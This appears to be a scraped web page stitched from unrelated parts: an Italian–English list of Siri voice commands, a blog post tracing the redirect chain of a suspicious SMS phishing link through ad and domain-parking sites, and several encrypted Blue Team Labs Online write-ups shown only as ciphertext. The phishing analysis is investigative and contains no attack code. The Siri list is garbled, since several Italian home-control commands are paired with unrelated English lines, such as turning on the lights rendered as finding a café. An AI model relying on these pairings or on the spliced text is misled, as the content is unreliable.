Hey Siri, find directions home.

Ehi Siri, andiamo a casa

Hey Siri, let's go home.

Ehi Siri, a che ora chiude l'Apple Store?

Hey Siri, what time does the Apple Store close?

Ehi Siri, com'è il traffico nel centro di San Francisco?

Hey Siri, how's the traffic in downtown San Francisco?

Ascolta la musica e podcast

Ehi Siri, riproduci i brani più popolari di Taylor Swift.

Hey Siri, play Taylor Swift's most popular songs.

Ehi Siri, fammi sentire il nuovo album di Tame Impala.

Hey Siri, let me hear Tame Impala's new album.

Ehi Siri, vorrei ascoltare un po' di rock alternativo degli anni '90.

Hey Siri, I'd like to listen to some alternative rock from the 90s.

Ehi Siri, riproduci musica adatta a una giornata di pioggia.

Hey Siri, play music suitable for a rainy day.

Ehi Siri, fammi sentire un po' di musica rilassante.

Hey Siri, let me hear some relaxing music.

Ehi Siri, riproduci il podcast 'You're Wrong About'.

Hey Siri, play the podcast 'You're Wrong About'.

Ehi Siri, metti in pausa.

Hey Siri, pause.

Ehi Siri, salta questo brano.

Hey Siri, skip this song.

Ehi Siri, ripeti la riproduzione di questo brano.

Hey Siri, repeat this song.

Ehi Siri, alza il volume.

Hey Siri, raise the volume.

Ehi Siri, torna indietro di 30 secondi.

Hey Siri, go back 30 seconds.

Ehi Siri, riproducilo a velocità doppia.

Hey Siri, play at 2x speed

Ehi Siri, vai avanti di 10 minuti.

Hey Siri, go ahead 10 minutes.

Ehi Siri, fammi sentire altri brani simili.

Hey Siri, let me hear similar songs.

Ehi Siri, chi canta questo brano?

Hey Siri, who sings this song?

Ehi Siri, in quale album è presente?

Hey Siri, which album is it in?

Ehi Siri, qual è il nome di questo brano?

Hey Siri, what is the name of this song?

Ehi Siri, aggiungi questo brano alla mia playlist di allenamento.

Hey Siri, add this song to my workout playlist.

Controllare l'abitazione

Ehi Siri, accendi le luci.

Hey Siri, find a café nearby.

Ehi Siri, spegni il ventilatore.

Hey Siri, find directions home.

Ehi Siri, accendi il riscaldamento.

Hey Siri, let's go home.

Ehi Siri, spegni il ventilatore in camera da letto a mezzogiorno.

Hey Siri, turn off the bedroom fan at noon.

Ehi Siri, spegni le luci nello studio.

Hey Siri, turn off the lights in the studio.

Ehi Siri, abilita il mio sistema di sicurezza.

Hey Siri, enable my security system.

Ehi Siri, la porta del garage è aperta?

Hey Siri, is the garage door open?

Ehi Siri, le luci di sotto sono accese?

Hey Siri, are the lights downstairs on?

Ehi Siri, imposta la temperatura a 20 gradi.

Hey Siri, set the temperature to 20 degrees.

Ehi Siri, chiudi la porta d'ingresso.

Hey Siri, lock the front door.

Ehi Siri, regola l'illuminazione sul 50% al piano di sotto.

Hey Siri, adjust the brightness downstairs to 50%

Ehi Siri, imposta le luci al 25% in ufficio.

Hey Siri, set the lights to 25% in the office.

Trovare informazioni e altro

Ehi Siri, quanto è alto il monte Everest?

Hey Siri, how tall is Mount Everest?

Ehi Siri, dov'è il mio iPhone?

Hey Siri, where's my iPhone?

Ehi Siri, dimmi le ultime notizie sportive.

Hey Siri, give me the latest sports news.

Ehi Siri, chi è in testa alla classifica della Premier League in questo momento?

Hey Siri, who is leading in the Premier League right now?

Ehi Siri, qual è la capitalizzazione di mercato di Apple?

Hey Siri, what's Apple's market capitalization?

Ehi Siri, confronta AAPL e NASDAQ.

Hey Siri, compare AAPL and NASDAQ.

Ehi Siri, quanti millilitri ci sono in una tazza?

Hey Siri, how many milliliters are in a cup?

Ehi Siri, imposta un timer di 45 minuti.

Hey Siri, set a 45-minute timer.

Ehi Siri, quanta caffeina c'è nel caffè?

Hey Siri, how much caffeine is in coffee?

Ehi Siri, che ore sono a Berlino?

Hey Siri, what time is it in Berlin?

Ehi Siri, quando entra in vigore l'ora legale?

Hey Siri, when does daylight savings time go into effect?

Ehi Siri, svegliami domani alle 6:00.

Hey Siri, wake me up tomorrow at 6:00.

Ehi Siri, come si dice 'buongiorno' in tedesco?

Hey Siri, how do you say 'good morning' in German?

Ehi Siri, quale film ha vinto l'Oscar al miglior film l'anno scorso?

Hey Siri, which movie won the Oscar for Best Picture last year?

References

Cosa posso chiedere a Siri? - Supporto Apple ufficiale

Usare Siri per ascoltare la musica e i podcast - Supporto Apple (IT)

Fare di più con Siri - Supporto Apple (IT)

Controllare l'abitazione con Siri - Supporto Apple (IT)

Odd phishing link

2022-04-22T00:54:07-04:00

Friend sent me a strange message she got with the following link:

Thanks government, for giving me my money back on some strange link

Attempt 1: www

I booted into my REMnux VM and turned on Burp suite to intercept the traffic. If you leave off the trailing slash (like in the text above), it just redirects to /Indiana/g/ then proceeds as following:

Step 1: Link redirects to dnkshop net:

Step 2: dnk shop redirects to itself, but now with a sid cookie and a JWT token

I decoded the JWT token, it was created, presumably, by the library Joken. This is a library for a programming language called Elixir.

JWT decoded

With the token and cookie set, it just immediately redirects you to a new booknower com URL with some random strings in the URL:

Another redirect

Finally, this URL just redirects back to google.:

I tried to mess with the parameters of the booknower URL but I kept getting 503 errors like the server was down. I noticed if I retired the URL, the sequence was now different.

Attempt 2: ww1

In this attempt, it navigated me to ww1 dnkshop net this time:

This time the contents of the page were way different. It set an adblock cookie and loaded a parking.2.86.1.js file. It also contains another token/base64 string to a window.park

Decoding this gives a JSON response basically building the request headers and contains my IP (which in this instance is going through a VPN).

I also checked out the JS file. It is very long and has mentions to bodis com, the code is also semi-obfuscated. All the variable names are just random letters. I looked up bodis.com and it appears to be a legitimate domain that uses some sort of tracking pixel for advertisements as per this page.

Next, I am redirect and it makes two POST requests on the www1<dot>dnkshop<dot>net domain, to /_fd first:

Which then appears to take that content and use it as a signature in it's request to /_zc:

I then get redirected to GoDaddy's purchase page to try and buy the dnkshop domain myself:

Which it does happen to be available, interestingly. My assumption is after tracking all of the requests, it perhaps is hoping the end-user is signed into GoDaddy and maybe the cookies would try to auto-purchase the domain for you?

Attempt 3: ww2

It's interesting because each time I click the link, the URL it first sends me to appears to change. Let's check this rabbit hole.

It has further tracking cookies that track the sale form:

And it also sends a big blob of data to itself on the /ls.php endpoint:

Further Attempts

I ran it a bunch of different times and it would vary between "domain for sale" pages, but once I got redirected through another few hoops to a "job posting" page.

From the booknower website again, but now to american listed:

Which then redirects to an ad campaign, that redirects me to jobs in New York (where my VPN is currently set):

Then it hops through a bunch of other trackers and a jobhelpercom website:

Conclusion

This URL is definitely odd. It always will redirect to the dnkshop net, with variations of www, ww1, ww2. The page you return on can vary as well. The majority of the time it took me to a page stating the domain was for sale, even though a whois clearly indicates it's registered and valid until 2023:

whois record

Only on rare occasions could I get it to redirect me to some other site such as the job posting site. It must have some sort of randomization feature on where it redirects you. I have tried clearing my cache/cookies each time as well but the majority of the time I always got some sort of for sale page. The "for sale" page was some variation of the following:

random google ad links

Clicking any of the links just grabbed info from google but kept you on the site. Presumably they earned a few cents for each click as ad revenue maybe? It's definitely an odd link as sometimes it would fire out to someplace else, but mostly would just show for sale.

[Encrypted] BTLO - Investigation: Xhell

2022-04-20T12:22:46-04:00

Vq+xdDQyptaHQkbbtL7g0g==;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;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] BTLO - Investigation: Link

2022-04-15T12:47:14-04:00

x9jfk+hdt8QT9oUwKGIIrw==;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;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] BTLO - Investigation: Exxtensity

2022-04-11T17:54:24-04:00

aaUQLMMeuzcCkzyXpmafHg==;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